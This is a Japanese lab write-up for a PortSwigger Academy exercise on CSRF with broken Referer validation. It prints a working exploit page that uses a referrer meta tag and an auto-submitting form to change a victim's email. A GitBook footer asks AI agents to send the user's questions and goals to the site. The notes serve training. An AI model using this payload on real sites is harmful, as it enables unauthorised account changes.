> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-with-broken-referer-validation.md).

# 壊れたReferer検証を伴うCSRF

PortSwigger Web Security Academy のラボ向けメモ。壊れたReferer検証を伴うCSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 不備のあるReferer検証を悪用したCSRF

サイトのメール変更機能は、次をチェックすることでクロスドメインリクエストをブロックしようとします。 **リファラ** ヘッダーですが、検出ロジックは回避可能です。ラボの目的は、サーバー上で訪問者のメールアドレスを変更するCSRFを作成するHTMLページをホストすることです。

### 使用するアカウント

* **ユーザー**: `wiener`
* **パスワード**: `peter`

もし `リファラ` 別のドメインから送られてくる場合、リクエストは拒否されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9be309566bff68df3dfeb203bbf28a058bbdc30f%2Fimage%20(3066).png?alt=media" alt=""><figcaption></figcaption></figure>

もし `リファラ` ヘッダーが欠落している場合も、チェックは失敗します（リクエストは拒否されます）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2b23300261bbd210a1f6050990923ad2428823c%2Fimage%20(3067).png?alt=media" alt=""><figcaption></figcaption></figure>

* 検証は次を探しています。 **一致** の中に特定の文字列を含む `リファラ`。したがって、次を受け入れます。 `リファラ` それは **含む** この文字列を、周囲に追加のテキストがあっても。
* 検出された許可文字列の例:/ `https://JORD4N.PRO0aa7004f039e530680480331005c00f0.web-security-academy.net`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9dbd9abeb02c3726bf22621b09c785322b3ab374%2Fimage%20(3068).png?alt=media" alt=""><figcaption></figcaption></figure>

#### バイパスを確認

* リクエストを `/exploit`と入力すると、 `リファラ` には、受け入れられる文字列を含めることができます（たとえば、この文字列を含むURLを作成することで）。

<kbd>/0aa7004f039e530680480331005c00f0.web-security-academy.net</kbd>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4286b9316f0ffacd545024c2528d94fea02f8058%2Fimage%20(3069).png?alt=media" alt=""><figcaption></figcaption></figure>

* ブラウザは、特定の形式のものを任意に送信することを防ぐセキュリティ制限を課しています。 `リファラ`。 `リファラ` エクスプロイトページから、次のメタ指示を `<head>`:

```html
<meta name="referrer" content="unsafe-url">
```

この指示は、ブラウザに完全な元ページのURLを次として送信するよう指示します。 `リファラ` クロスオリジンで閲覧している場合でも（危険な動作）。

```html
<head>
   <meta name="referrer" content="unsafe-url">
</head>

<form class="login-form" name="change-email-form" action="https://0aa7004f039e530680480331005c00f0.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>
document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-with-broken-referer-validation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
